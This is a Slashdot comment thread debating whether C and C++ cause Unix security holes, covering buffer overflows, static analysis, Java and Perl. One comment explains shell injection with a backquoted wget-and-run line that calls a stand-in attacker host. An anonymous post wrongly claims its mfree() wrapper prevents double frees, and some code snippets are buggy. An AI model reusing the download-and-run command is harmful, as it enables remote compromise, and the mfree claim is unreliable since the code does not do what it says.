    First of all, that quote is a Jack Handy quote -- the Jack Handy from Saturday Night Live, a category that includes other quotes like, "If you ever drop your keys in a river of lava, forget about them, becuase man they're GONE" and "".

    Second, "moral committment to voluntary action towards peace" sounds nice and flowery, but you're omitting the part that makes that work -- the part about BOTH PARTIES making that moral committment. Peace doesn't work when one party makes that moral committment, and the other party doesn't.

    How is peace possible if party X says, "we want peace," but party Y says, "fuck peace -- let's go bomb X!"?

  46. C is a low level language? by FuzzyBad-Mofo · · Score: 1

    I guess he didn't get the memo. Real programmers use assembler! ;)

    1. Re:C is a low level language? by jcoy42 · · Score: 1
      Real programmers use assembler!

      BS. Real programmers use
      cat > program

      and if they have to use windows, they use
      copy con program.exe

      --
      Never trust an atom. They make up everything.
    2. Re:C is a low level language? by pbur · · Score: 1

      Ha!

      Real programmers just do this:

      chmod 755 /dev/random

      ./dev/random

    3. Re:C is a low level language? by FuzzyBad-Mofo · · Score: 1

      Hey, that doesn't work! I just tried it and&:>e{Ea@#$">?@%EOL

  47. ego by BigBir3d · · Score: 1

    I never knew ego was such a problem for humans.

    </sarcasm>

  48. java by edyavno · · Score: 1

    While Jon mentions Java once, I think it deserves more praises, especially when you talk about high level languages: java security (both virtual machine and the language) is so tightly implemented that there's no known exploit for a java buffer overflow. The worst that can happen to a java server is JVM can crash. This is solvable by a mere JVM restart, and nowhere close to gaining control of the box it's running on.

  49. it's not really the language that's the problem. by Kunta+Kinte · · Score: 2, Informative

    It's bad programming habits and the lack of tools that catch those program time errors.

    Static analysis, the use of programs to analysis code that has not been compile completely to machine code, has historically been undeveloped in open source. I use to have a list, was my research focus for a while, but basically we have one decent static analyzer Splint, and it's not that hot compared to commercial offerings.

    For instance the HANDS group from stanford has tracked down lots of kernel bugs using their in house analyzer, in lots of obscure places. MS has an in house program I hear they guard closer than the kernel itself! I have a friend that did kernel work for them that agreed with this, they give him the kernel source but not the ananlyzer binaries even. The guy who wrote it, known in pointer analysis circles often goes on about how he's found tons of bugs in open source projects ( bet you he's not filing bug reports )

    There are lots of groups working on static analysis, but no one wants to open source their code.

    Hind, Michael http://www.research.ibm.com/people/h/hind/

    Hind has written amongst other things probably the best and most recent introductory papers on pointer analysis at http://www.research.ibm.com/people/h/hind/paste01. ps.

    stanford checker

    SUIF compiler suif

    I had a few other links, but the lameness filter is complaining about "too many junk characters". You'd think slashcode would have a better filter by now.

    --
    Based on upvotes, Ageism is the only "-ism" Slashdotters care about and think isn't SJW
  50. This guy is talking out of his ass by I_redwolf · · Score: 1

    I got maybe halfway into it when he started talking the same old bullshit about higher level languages etc etc. His intro "Until Unix and Linux programmers get over their macho love for low-level programming lanaguages, the security holes will continue to flow freely."

    Sure, but ummm the same goes for every other programmer. Just not Unix or Linux programmers. What about your favorite Windows programmers? Is not their system based on a low level language? Even in comparison to high level languages the security holes still flow freely on that platform.

    Then the author took the time to point out security holes in popular unix software. I'm glad he did this because you couldn't do the same for other systems. All in all the author is reinforcing the fact that here in nixland we have stronger peer review than anywhere else. We hold each other to as critical standards as possible and are happy to find errors in others code not just for the hell of it but because it makes all of us safer.

    Next he talks about the programmer given up his ability to control a system by using higher level languages. That's cute but sadly in this field to become the best you have to understand the low-level stuff and they happen to be techniques and are not language specific. Moving memory around or conserving it is a technique and not a black magic art. Once you learn it you can apply the idea to other low-level languages you encounter. Writing a new algorithim at the lowest level possible isn't some black magic art it's a technique and can be taught to others.

    I'm not saying that writing an email client in C is good or bad but the choice is of the programmer and not for you to make Mr. Lasser. That's the whole point of this OpenSource thing and as the particular package becomes more useful and needed in this community it will encounter more peer review than anywhere else. People can learn from others mistakes and hopefully we end up with better, more featureful and more secure code. Surely this has been happening for quite sometime now. In comparison to other closed systems where the amount of security holes are theoretically infinitely higher than the community we work within. The answer is clear; your take on it? Instead of writing an email client in C write it in perl? It doesn't matter.

    1. Re:This guy is talking out of his ass by yatest5 · · Score: 1
      Then the author took the time to point out security holes in popular unix software. I'm glad he did this because you couldn't do the same for other systems

      It's a good job then that Linux zealots don't spend their entire lives pointing out problems with MS software. Oh.

      --
      • Mod parent up! [a] by Anonymous Coward (Score:5) Thurs, June 31, @13:37
    2. Re:This guy is talking out of his ass by I_redwolf · · Score: 1

      What does "other systems" have to do with anything about MS software?

  51. Safe != interpreted, and 'cracking' JVM irrelevant by Tom7 · · Score: 1


    OK, chewie, what the hell does that mean?

    First, a safe language does NOT have to be interpreted. You can statically compile most of Java to native code -- you'll still have all of the class checking, but there will be no virtual machine, no JIT overhead, and the result will be fairly lean. Java is far from the best though -- SML (see mlton) and O'Caml both produce fast lean native binaries from safe language source.

    Second, the JVM "cracking" is totally irrelevant here. The scenario described in that paper is that you have physical access to the machine *and* the ability to supply the program to run. What that translates into here is a hacker saying, "Hey, can I come over to your house, install this Java irc daemon that I wrote, and then shine a lightbulb on your memory?" What we're ACTUALLY talking about is software written by a programmer who intends to make secure code, and a user who doesn't want to corrupt his memory. (In any case, C or C++ or essentially any other language would be just as vulnerable to security holes in a scenario where memory is randomly corrupted.)

    So, what are you talking about?

  52. Java? by unborracho · · Score: 1

    I'm somewhat of a java noob, but from what I've seen with it, it's pretty damned hard to buffer overflow in java. Considering that if you try overloading strings/arrays and whatnot, you're thrown Overflow and IndexOutOfBounds exceptions. Although java is pretty shoddy when it comes to performance, it does well with error handling.

    --
    "You had this look that of an angel, it was such a bad disguise" --Dishwalla
    1. Re:Java? by markbthomas · · Score: 1

      I often find with java, that some mistakes cause the JVM to segfault. Of course, this is a bug in the JVM, but it still doesn't help me write my code. So far I've only ever segfaulted GCC once.

      I'm fairly sure that if you can't write secure code in one language, then you can't write secure code in any language.

  53. Not at all by 91degrees · · Score: 1

    Bloat as a compromise. I'd rather have a task take 10ms to complete and be secure than take 1ms and be insecure. I'm not going to notice the difference between 1ms and 1ms, so why does it matter?

    If we're talking about longer time frames, then efficency becomes more of an issue, I'd rather not wait 10 seconds for something that could be done in 1, but I might be willing to wait 1.5 seconds. This is usually the sort of timeframe we're talking about. If the code spends mosty of its time waiting, we'll have even les of a slowdown.

    The point is that engineering is about finding a compromise. You don't want as small and fast as is possible, just as small ans fast as is neccesary.

  54. Easing into perl by bill_mcgonigle · · Score: 1

    Think of it as an investment - you need to spend a couple hours reading at least the first chapter of Learning Perl, maybe browsing a few others. Then, when you need to do something, look it up in The Perl Cookbook. Most of the time the example code will do everything you need. If not, you can modify it with what you've learned in Learning Perl. For the kind of tasks you mention, this should be more than sufficient, and for a few hours and $75 (retail) you'll save hours and hours and hours down the road. My only regret is that I didn't listen to my friend Eric who told me about perl when I was still a C++ guy and wasted a couple years without it.

    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
    1. Re:Easing into perl by HiThere · · Score: 1

      I'd choose Python or Ruby. (Well, actually I did choose them.) The main drawback is that you need the interpreter. Many people choose Perl, but to me it always looked like APL printed through a normal printer. Even Forth made more sense. (OTOH, I would place it in the same general layer of "intelligibility when you haven't studied it as all" as Haskell, or OCaML. And those are also supposed to be very good languages, if you are doing what they want you to do.)

      But he already knows C++, so Python is an easy transition.

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
    2. Re:Easing into perl by bill_mcgonigle · · Score: 1
      Being a user of all four of the languages we're talking about here (C++, Perl, Python, Ruby) I can't see how you'd recommend Python or Ruby to a guy who's looking to replace sed and awk for simple text processing. The two books on my desk right now are Perl Cookbook and The Ruby Way, lest you think I'm just a Perl-only nut.

      Are you sure you've actually studied Perl? I ask because you recommended python as an easy transition from C++. Here's a loop in C++:
      for (i = 1; i <= 10; i++) {
      j = j + i;
      }

      Now in Perl:
      for ($i = 1; $i <= 10; $i++) {
      $j = $j + 1;
      }

      Now in Python:

      for i in range(1,10)
      j = j + i

      This isn't a value judgement, just a comparison. Perl can be written very much like C++, and the syntax doesn't get particularly nasty until you start to use references to multiple built-in datatypes (and then it can be confusing, but if you code well quite decipherable). And yes, there are some nasty hackers who write really bad perl, but I'll just point you here,here, and here if that's the argument.
      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
    3. Re:Easing into perl by HiThere · · Score: 1

      I believe that what I said was that I hadn't studied Perl, I'd looked at it. Actually, however, I did once study it for several hours... (so when speaking quickly, I say I didn't study it).

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
    4. Re:Easing into perl by Bronster · · Score: 1

      I would be more likely to write perl like so:

      foreach my $i (1..10) {
      $j += $i;
      }

      (and I'd use the += operator in C++ too, it can be made more efficient by the compiler).

      of course in Perl you can get stranger if you want:

      map { $j += $_ } (1..10);

      of course I would probably just do:

      $j += 55;

      but that's your fault for choosing a silly example.

  55. Use C where needed, use other languages otherwise by TomDLux · · Score: 1
    I started off as a C/C++ programmer, after about 8 yearss I got into Perl instead, for much the same reasons he objects to using C for a mail client.

    C/C++ is wonderful for implmenting operating systems, programming languages, servers that need to be fast, and libraries/modules.

    For a program which spends its time waiting for the user to click on a key, it doesn't matter whether it's implemented in CRAY assembler or GWBasic---it's still waiting for the user to click a key. Of course, once an action has been selected, efficiency becomes more of a criterion. Efficiency can be achieved by appropriate coding in high-level languages and by passing CPU-intensive tasks to library functions.

  56. What's your plane? by beacher · · Score: 1

    It would be nice if we could expect that our programmers would act more like airline pilots than fighter pilots: that they acknowledge, and accept, the responsibility that they take for the well-being of others.

    And if you're on a Windows 2k box, your plane's a DC-10. Guarenteed to go down.......

    --beacher

  57. Another way? by spydir31 · · Score: 2, Informative

    Use source analyzers to find common mistakes, here are a few
    Flawfinder
    RATS
    ITS4
    Splint
    also look at Splint's Links page for more on the topic

  58. Re:You can, but it's hard, and why would you want by Anonymous Coward · · Score: 0
    How do you prevent against double-frees...

    How about some thought?

    #ifndef NULL
    #define NULL (void*)0
    #endif

    extern __inline__ void mfree(void *x){
    if(x!=NULL){
    free(x);
    x=NULL;
    }
    }

    Slightly higher overhead than a straight free(), but way less than GC would incure, and no more double frees.
  59. C/C++ is a HLL. by Eskarel · · Score: 1
    I don't know quite what this guy has been smoking, but C/C++ is a high level language, it's one which allows you to have power you don't have in something like java at the cost of expecting you to know what to do with that power.

    Assuming this guy means an intepreted language when he talks about a high level language, then that doesn't do you any good either. Not only are interpreted languages somewhat slower than compiled languages, they all have to run through a compiled program anyway. The JRE is a compiled program with all the vulnerabilities that come with that status, and for that matter even Sun has been switching away from java lately. C#, while not a bad language(I've been taking a look at it recently), just uses .NET as a layer between regular MFC/Win32 system calls, and their newly developed C# calls. I have no illusions that anything as complicated as .NET, or even MONO it's open source equivilant is ever going to be completely secure, it's just too big.

    I agree that better libraries should be written and used and that buffer overflows should have some default protection, it would also be nice if there was a way to find out exactly how buffer overflows work and how to protect against them without looking like a cracker. I'm about to graduate from a relatively prestigious 4 year university with a BS in computer science, but while buffer overflows have been frequently mentioned and I have a general idea of how they work, no one has ever made it clear exactly how they work and what you can do to stop them from happening.

  60. Re:Linux Unsecure? by Anonymous Coward · · Score: 0

    char string[16];
    strcpy(string,"That's unpossible!");

  61. Re:it's not really the language that's the problem by smallpaul · · Score: 1

    It's bad programming habits and the lack of tools that catch those program time errors.

    ...There are lots of groups working on static analysis, but no one wants to open source their code.

    A high level language compiler/interpreter is a tool. ;) And there are lots of them out there. Even open source ones!

  62. .Net got it right by Bluelive · · Score: 1

    I believe .NET got it right, using a highlevel language like c# for the ui and non speed critical stuff. These kinds of languages (ie. Java and c#) are very robust, the big library of objects that are safe and no buffers too overflow. And dropping back to c++ when you need some very optimized stuff. Its a bit of fiddeling around but for example i'm using pieces of mmx asm from within my c# application.

    1. Re:.Net got it right by dasmegabyte · · Score: 1

      Actually, .NET got it right for a completely different reason. The language in .NET is totally inconsequential...it's just a way to interact with a fast (well, faster than Java -- but I'd say it's because MS knows more "speed hacks" in their OS than Sun does) virtual machine-like abstraction layer called the CLR. Everything not marked as an "unsafe" block runs under the CLR, whether it's written in C#, VB or Managed C.

      Java can do the same shit through Native Library support. But it wouldn't help...because the stuff you're talking about optimizing, asm and so forth, is the IO stuff that is most likely to be exploited anyway. It's like an armored car with tinfoil doors.

      The point of this article is that I/O should be done in these high level, exception handling languages and that essential interactive ops should be in secure libraries. It may not seem like that speedy graphics hack you wrote will ever be cause for an exploit...but if it fails when the right key combo is hit, and down the line somebody relies on your API for a login window...bam! R00t.

      --
      Hey freaks: now you're ju
    2. Re:.Net got it right by Bluelive · · Score: 1

      I See your point :) My point was only using something more powerfull when you need it, not using asm the whole way reduces the amount of problems caused by not being able to grasp the complexity. Still exceptions in c++ can cause unbelieveble amounts of damage if not used by somebody who is serieus about using finally clauses. Allthough ive seen few programs written in c++ that actually used exceptions in the way that you would use them in java.

    3. Re:.Net got it right by Anonymous Coward · · Score: 0

      So it seems? But then, less assembly lines will lead to less experienced assembler programmers and we are back at the beginning... because you won't want to be an "assembler guru", just few lines of code at each project, will you?

      I think the whole issue has been already pointed out: Do ask morons to do your work and you will have what you diserve. But then, you have two kinds of "moron": gentically morons, or dumb morons and uncultivated morons or PYF. If you are manager, the cleverest you can be is being able to fastly distinguish real morons (to trash them away) from PYF, for PYF are cheap and good long length resources for your company. But then, you have to design a path to take out your PYFs from its morony into manhood. How? Giving them hard still affordable problems for them to solution, of course.

      And ba-daaam, here comes C as well as Unix: they are fun to hack and represent the hard still affordable problem environment. How do you expect having *good* senior programers and technical managers if all they have work with is Python or Ruby, or even worse VB (and please, play attention I'm on the opinion Python and Ruby are *well* designed high level languages, it's only they don't lead to the goal I described), or good senior sysadmis and system managers if all they have worked with is point-n-click assistants? (this is the twofold answer to the old spell "Microsoft makes easy what is already easy, and impossible all the other": it's because it's true due to superficial easiness and because it tend to produce stupid people).

  63. One of the larger problems with non-compiled code by jkujawa · · Score: 1

    It's a bitch to deliver anything that doesn't compile using the standard, built-in tools. It's annoying as hell to deal with a package the requires a lot of installation.

    Perl is especially nasty in this regard. For any given nifty package, one needs to go out to CPAN and install 15 different libraries, some of which are broken, which make assumptions about the particular developer's environment, etc.

    The only way to deliver a portable program that can be assured to compile on the majority of machines is to write it in C, configuring with autoconf, and calling out to the fewest possible external (non-system) libraries as possible.

    C++ is finally beginning to approach a point where the same can be said of it, and it is possible to write secure code in C++, using the STL and the standard string class.

    I don't think that it's so much an issue of macho bullshit, but the practicality of being able to deliver an application that is reasonably easy for the average systems administrator to install correctly.

  64. This is a prime example... by blunte · · Score: 1

    ...of what he's talking about, I think.

    This isn't an issue of programming speed. But by your explanation, you tend to stick with things you know.

    If that's the case, and if you've been doing C/C++ for 15 years, then are you keeping pace with the "improvements" in C++ as time goes by? Are you using STL extensively? Are you following some of Meyer's rules? If you are inclined to just stick with what you know, instead of learning something new and potentially more useful, safer, etc., then you're part of the problem.

    If, however, you have been keeping pace with changes to C++, then you could just have easily have been learning many higher level languages (and I daresay, in less time).

    But all this is a little off topic. The issue the author points out is that more modern languages offer safer, more secure building blocks.

    Here's a sloppy analogy. Manufacturing has been moving for years to more automated (robotic in some cases) methods. This certainly requires retraining of workers, as well as significant capital investment. But the benefits are well worth it. You have a safer work environment, you tend to get more uniform output. In many cases you get more result from fewer people, and in less time overall.

    Besides, C++ really does stink :). And with Moore's law racing on as ever, how many of us are really hurting for day-to-day performance on our boxes?

    --
    .sigs are for post^Hers.
    1. Re:This is a prime example... by binaryDigit · · Score: 1

      As others have stated, this isn't just "what I know" from a comfort point of view, it's what I know from an effiency point of view (not just lines of code written, but also quality). Over the years I have amassed a considerable library of tools/algorithms etc to aid my development efforts. This means that I can usually write things in C++ quicker and better than someone who doesn't have that experience/infrastructure. So for me, the payoff from switching to a higher level language isn't as great as it might be for others.

      As for STL, do I use it extensively, well no. I use it where and when it seems approrpriate to use. Vs others I know that use it just because it's there.

      I consider myself a pragmatic programmer. I've been around long enough to know that there are the right tools for the right job, BUT that the determination of the right tool isn't as simple as vb does guis better than vc++ therefore you should code your gui in vb. Other than the most trivial instances, it's deeper than that. You can't JUST look at the language, you also have to look at the developer, the two are tied together. I think that that is the point the author misses.

      btw, I agree with you that C++ sucks, but probably for vastly different reasons (just to give you a hint, I LOVE C), but that's another story ;)

    2. Re:This is a prime example... by quigonn · · Score: 1

      Besides, C++ really does stink :). And with Moore's law racing on as ever, how many of us are really hurting for day-to-day performance on our boxes?

      Well, small code is definitely better, but today we don't have to care whether it fits in the RAM. Today it's interesting to get it small enough that the code that is executed most often can be held in the CPU's cache for as long as possible. This is often impossible with C++, although C++ zealots state otherwise ("C++ compilers can optimize code that uses templates extensively much better than blablablabla..."). So: when speed matters, use C, for anything else, use the language(s) you are most productive with (for me e.g. Ruby and C).

      --
      A monkey is doing the real work for me.
  65. What's the best alternative to C then? by TwistedSquare · · Score: 1

    I'm a guy who generally (over)uses C++ for most applications because I know it very well and am not familiar with many other general-purpose languages. The author of the article suggests not using C/C++ for many applications e.g. for an IRC client. What would you use for this? Or for any general GUI-program doing something general like IRC? There's Java, sure, but there must be other alternatives.

    1. Re:What's the best alternative to C then? by dr2chase · · Score: 1

      Well, there is Java. You could do much worse.

      Another choice is Modula-3. It lacks the comprehensive pile of libraries that comes with Java, but it is a "safe" language that has been widely ported over the years (I worked on one of the very first ports, so perhaps I am biased). I wrote a simple web server in it, I've used a simple mail client written in it. On the plus side (for detail/speed freaks) it supports arrays and structures as "value" objects, so you are not forced to use objects for everything (this is a bug or a feature, depending on your point-of-view). Like C#, it gives you the ability to write and get to "unsafe" code (but, don't use this unless absolutely necessary).

      OCaml is another potential choice. It has a better type system than Java and Modula-3.

      A good friend whose opinion I respect says great things about Python.

      I don't have enough experience coding GUIs, so I cannot definitely say that these languages are good or bad for that.

      I've also looked at Squeak, a sort-of-open Smalltalk implementation. Some of the demos are truly amazing, however I am unclear on the overall stability of Squeak as a platform. It is worth a look, though it is sufficiently different from C/C++/Java/Modula-3 that you might find it difficult to learn at first (again, some say feature, some say bug).

    2. Re:What's the best alternative to C then? by TwistedSquare · · Score: 1

      Ive never checked out Modula-3 I might take a look. Never heard of OCaml (only the mighty occam ;), Python might deserver looking into. Smalltalk is very odd as it is a total environment and you ship the whole environment including changes such as changing how integer addition works if you like(!!!), it looks good but I couldnt quite get my head round the language. What is tcl and such things like if anyone knows? Can it do GUIs?

    3. Re:What's the best alternative to C then? by dr2chase · · Score: 1

      Modula-3 is pretty much Java with big clunky keywords. If you can't touch-type, you'll hate it. The two features I feel the lack of are interface types (data-less multiple inheritance) and first-class exception types. On the plus side, you can have non-heap-allocated simple aggregates, the interface to native code is lighter-weight, certain other overheads are removed, and if absolutely necessary, you can drop into unsafe code. It supports generics well enough (I want more, but it's good enough).

      OCaml is Objective Caml which is Objective Categorical ML. Don't let that put you off.

      Tcl can do GUIs. It's another scripting language, sort of.

  66. Agree with the article by defile · · Score: 1

    A lot of what he gripes about is infeasible to write in a higher level language (which he does note). In those cases, the problem is better addressed with mandatory access controls.

    In the descriptions below, where HLL appears, I would mean something like Ruby, Python, maybe Perl.

    Kernel: If you're trying to be a UNIX system, C is only practical

    OpenSSL: The bulk of this is performance critical (C/C++)

    MySQL: Much of MySQL is performance critical (ie C/C++), although there's no damned reason why MySQL needs to run as root outside of a chroot jail. I'm not even sure why people start it as root, it even binds to a non-privileged port. I think the first line of main() should be a call to getuid() and complain if it returns 0.

    lpr: Someone write one in HLL for pete's sake. All it does is process files with helper tools and cram them to a printer device. Some of the helper tools could no doubt be rewritten as well.

    mutt: Great case for HLL here.

    glibc: Obviously this is in C's domain

    file: One based on perl and regular expressions would be pretty useful, methinks.

    ircii: HLL

    Evolution: gack why is this beast written in C/C++? It probably would've taken 1/4 the time if it were written in HLL, not to mention 1/8th the code.

    Samba: I imagine one written in HLL would perform just as well. *shrug*

    Other examples...

    wu-*: Anything that comes from Washington University should be burned. They are beyond hope.

    proftpd: I don't get why this is written in C. HLL can provide a totally usable, high performance ftp server.

    ssh: Most of the crypto, etc. is handled by OpenSSL. Why does this need to be in C? It doesn't.

    crond? HLL

    named? HLL

    sendmail? HLL

    ad naseum/infinitum

    Of course, there are reasons against rewriting any of these beasts in a HLL. As C code, they're usually pretty self-contained. Written in a HLL, they would depend on a HLL interpreter, and for decent performance, may depend on other libraries which the default system install certainly won't have.

    I remember awhile back Tom Christiansen started a "reimplement UNIX in perl" project, but haven't seen anything since. It may not have even been TC. *shrug*

  67. Heard of software engineering? by plcurechax · · Score: 1

    Jon Lasser doesn't sounds like a professional programmer. He also doesn't sound like he is very familiar with software engineering.

    There are no silver bullets.

    That's the first rule of software engineering.

    High level languages might help prevent or detect buffer overflows, but they don't prevent library function misuse, which is the cause of the format string errors. They don't prevent input validation, in fact most Perl programmers that use -T for taint also use stupid, unsafe untaint routines for user input. The OpenSSL timing attack mentioned wouldn't be prevented by using Python, Perl, or any other language.

    If he is so concerned, why doesn't he publish the results of his usage of StackGuard and FormatGuard in Linux systems that administers?

    I guess it is what I've come to expect from self-promoting security consultants; blame somebody else for the poor state of security, and charge lots of money to apply the same patches as any other good sys admin.

    If you are so concerned about OSS, then fix it.

  68. HLL's aren't necessarily safer by Effugas · · Score: 1

    "Computer science is the art of using a bulldozer to put your problems in someone else's backyard."

    I respect what Jon's trying to say here, and he's not entirely wrong...but it's a bit more complicated than he thinks.

    He seems to believe there's a direct correlation between bare metal risk and high level safety. This just isn't entirely accurate. For example, shell scripting is extraordinarily high level code; you're literally directing individually compiled applications to do your dirty work. And yet, someting as simple as setting a variable to `wget http://www.attacker.com/attack.sh; sh ./attack.sh` will cause a simple variable extraction to be suddenly expanded into a remote root.

    The barrier between information and instruction exists, but remains permeable, in all domains. Bare metal programmers and high level scripters each have their own issues to worry about.

    High level languages have the advantage that the programmer can expect large amounts of checking to occur behind the scenes, "saving them the trouble" of doing checks they wouldn't actually do themselves. In some sense, this is very much automation work -- precisely what computers are good at. Unfortunately, large amounts of complex mechanisms operating behind the scenes without the programmer's awareness of or control over -- such is the direct cause of innumerable failures, faults, and security breaches. The above example -- single-back-quote expansion of a value into the result of the enclosed command -- is a reflection of an "unknown capability" that easily exposes any otherwise correct code built upon it.

    Low level languages, to be blunt, provide fewer services, such that those services that are provided are within the range of the programmer's understanding. The problem is that very quickly, the programmer wants and needs more -- and suddenly, the environment doesn't already have base components necessary to build required functions. So libraries are brought in, sometimes even referred to as standard, and as the quote goes -- Library Design is Language Design. Maybe you're left with HLL-ish monoliths like glib, or perhaps barely thought out hacks that still depend on strcpy(copy until there's a null terminator into this fixed sized buffer...oops, hope nobody overflows this), or in the ideal, secure code case, your infrastructure exposes precisely that level of functionality required to deploy the system, and no more.

    The last step is the only way to genuinely handle hostile input and expect a positive outcome. HLL's guarantee some level of failure in one case while automatically protecting against entire other classes of attacks in another. This would seem to be the essence of business -- risk management. But in code, "managing risk" in this manner can actually create risk itself, through the fault of monoculture: If everyone has the same solution, everybody's vulnerable to the same fatal flaw. When everybody and everything depends on precisely the same checks and balances, there's absolutely no robustness -- once the systemic failure is discovered, it can be exploited universally. Monoculture -- both in the protection mechanisms that are deployed, and in the run-time failure models that are exposed (too much is kept identical at runtime that has not been explicitly juxtaposed by the programmer) -- is death in biological systems, and needs to be curtailed more than it already has been.

    Yours Truly,

    Dan Kaminsky
    DoxPara Research
    http://www.doxpara.com

    1. Re:HLL's aren't necessarily safer by PigleT · · Score: 1

      "High level languages have the advantage that "....

      Agreed entirely. The language exists at a given level of "highness" or otherwise.

      I like to take assembler, C and Haskell as 3 handy options, for example. You can write something fairly funky like:

      unwords (filter ((>3).length) (words "a short string or something")

      and it'll return a string comprising all those words that were >3 characters long in the original, when split on whitespace. ("short string something", duh.)

      You can also write some functions to produce this same expression in C, or in assembler. But you won't, because you know the scope for lots of trivial errors with lower-level *sub*-problems is so much greater for doing so. And when you get those wrong, you'll risk having a segfault on your paws.

      There are 1.5 lessons to note from this: choose a language of appropriate level to what you're trying to do. Second, prepare to scale languages on top of each other pyramid-style, so that (taking the Gimp as an example) you write your low-level speed-critical functions in C, and then expose them as functions in a scheme for combination in more powerful, functional, ways. Point is, you're building up such that things that need to run fast will do, and you get to throw around weighty concepts yourself in only a few lines of code.
      In the process, all I'm assuming is that the language implementation has no bugs - either the way haskell or scheme are written (normally "in themselves", with a small C stub to get you to bootstrap), and in the way the C compiler is written, and in the way the CPU handles the assembler - well, machine-code - it's presented with.

      I'm also wondering, if performance is related to lowness of language level, is security related to the difference in "level" between what you're writing and what you're writing in? It's definitely related to the number of LoC required to achieve the goal - you could say that my "implementation" above is secure because it's a simple combination of high-order list functions, or because it is only 1 short LoC and therefore easily proven correct in terms of the expectations it puts on its sub-expressions; you can also see that if I'd rewritten the equivalent expression as a set of C functions, there would be much greater scope for insecurities to creep in.

      --
      ~Tim
      --
      .|` Clouds cross the black moonlight,
      Rushing on down to the circle of the turn
  69. It's the programmer, stupid. by Zathrus · · Score: 1

    Studies have shown that programmer productivity, measured by lines of code over time, varies little between languages.

    Great! Now let's move on to some benchmark that actually matters. Lines of code over time has never been a good benchmark. Better ones are number of bugs, time to milestone, number of milestones accomplished on time, and user satisfaction. No, none of them are perfect. Welcome to reality.

    the low-level constructs that C and C++ programmers spend time managing are the same ones that can get them into trouble

    Sure, if you code using no libraries and are a dumbass about it. Heck, you can avoid most of the vulnerabilities he's talking about in C++ just by using std::string. Most of the other worries can be eliminated by using decent libraries like boost (its pointer templates are great) or Loki. In C it's a bit harder, but there's secure string and memory libraries available there too (I recently poked around in vsftp which is straight C code and uses wrappers for all string functions).

    There's no need to move to a different language - although I definitely agree with different languages for different purposes - but you definitely need to know how to write things properly in the language you do use.

    And while he acknowledges that high-level languages aren't immune to security bugs, he also seems to forget that most high level languages are written in lower level ones (such as Perl being written in C). A mistake in the code that creates the high level code can leave the entire thing wide open and you're back to square one. On the upside you only have to patch the language. On the downside you have dozens or hundreds of vulnerable programs instead of one or two.

    Of course, the author also seems to forget that not everything was written in the past two or three years. Just how old is lpr? Is rewriting it - in any language - really going to be worth it?

    Finally, the author's list of vulnerable programs at the start starkly contrasts with his suggestions at the end. Of the six listed four (kernel, openssl, mysql, and glibc) are not applicable for rewriting in high level code - by the author's own admission. One of them (openssl) is not even a language issue - it's implementation. The last two could, in theory, be written in high level languages, but lpr seriously predates Perl or Python. Mutt might have been a candidate for a high level language though - so 1 out of the 6 is a viable gripe.

    The author does make a good point... it's just buried in his pointless bashing of C/C++. You need to know your tools, and you need to know how to code securely. The tools can help, but if you don't code securely then all they can do is block the more egregious sins... and those are rarely the ones that get exploited (they get blocked or patched quickly).

  70. Think dotGnu by Bluelive · · Score: 1

    www.dotgnu.info it needs some work, but its in essence a fast vm that groks most console c# applications.

  71. Re:You can, but it's hard, and why would you want by Enonu · · Score: 1

    I'm pretty much a Java coder that used to to a lot of programming in C and C++. If I ever go back to a job that required me to code in C, the first thing I'm going to do is look for a memory management package (at least keep track of what's been alloced and freed) a decent string handling library, and something for bounded-array access. Honestly though it won't be for the security aspect, but for the EASE OF DECENT CODING.

    I won't have to worry about debugging something that segfaults before I get to real bugs that deserve real attention. As a kick-back, my code won't be easily exploitable. I'll also naturally pay more attention to function calls that go outside my mini-sandbox. Basically, calling untrusted code becomes a pain-in-the-ass, not the other way around.

    Perhaps I might have to type a bit more. That's no big deal since it's like complaining about coding in language X insteady of language Y because in Y you have to type less. Perhaps somebody who maintains my code has to read a few pages of documentation first. Well I'll probably already saved him 10X that time since he's not trying to fix a bad pointer arithmetic bug for a bizzare case scenario. Next, let's say it slows down my code, well then I can carefully optimize after the project is working and then run some regression tests. Finally, if all else fails, then management should have asked me to program in a different language. After all, our goal as software engineers is producing a quality product, not banging something out real quick just to impress the boss.

  72. Re:HLL's are NOT a substitute for secure programmi by Qzukk · · Score: 1

    Repeat after me: Security is a process, not a product. HLL's can be misused just as effectively as LLL's.

    Bingo! Here's an excellent example: word macros

    --
    If I have been able to see further than others, it is because I bought a pair of binoculars.
  73. High-level-language != security by aphor · · Score: 1

    Lasser has a pessimistic view of programmers. He assumes they care about security, and he also assumes they are unable to write secure (abuse-resistant) application code.

    Lasser is optimistic of high-level languages. He assumes that the buffer-overflow and input validation problems can be solved by giving programmers complicated components wrapped in high-level language constructs, and forcing programmers to use them, as in making the low-level features unavailable.

    I agree with Lasser that sloppy use of low-level language constructs is an invitation to disaster. I disagree that abstraction is the solution. I disagree that application programmers sufficiently *care* about security. I disagree that application programmers are unable to code applications securely in low-level languages.

    I suggest that application programmers do not care sufficiently about security. How often do you see "test harness" code written by a programmer to expose possible problems with their own libraries? How often does software get refactored to facilitate finer-grained testing? The problem with the status-quo is that the process of finding these bugs too-often escapes the grasp of the application programmers. In the worst-case the code-review is effected by a widespread Internet worm. It should be effected by the programer(s).

    Code is law. This is a problem of readability. With insecure programs, it is not obvious that the security vulnerabilities exist. Bugs == undocumented features. We must not avoid the questions: What are my expectations of this code, and does this code conform to my expectations? OpenBSD is written in C. It uses low-level language constructs, but its record is significantly better than Lasser's examples, and improving.

    Using high-level languages *can* be more secure, and they represent a certain kind of discipline, which is helpful. However they are not panacea for buffer-overflows, and they represent lack-of-awareness, which is dangerous. Moreover, most low-level languages have features which allow programmers to create their own abstract constructs. Refactoring applications and creating such abstractions as a part of application development allows programmers to take the advantages of both high and low level languages, and with discipline they can avoid the drawbacks of either.

    Programming is intellectual work. It is never going to be easy to do it right. Even a simple programming exercise (that in the end requires no changes or improvements) should recieve the same level of scrutiny as the level of its users' dependence. Coding without that scrutiny--code review--is not programming. It is bare coding. Programming is distinguished by problem solving. Coding is just writing anything that can be validated by a compiler. Without that Philosophy (as in love-of-wisdom), you are dealing with fools' code.

    --
    --- Nothing clever here: move along now...
  74. Re:You can, but it's hard, and why would you want by Ed+Avis · · Score: 1

    You're right, C or C++ code with explicit memory allocation still makes it too easy to code double-free bugs. But despite the recent zlib vulnerability, double-free is not the most common cause of security holes.

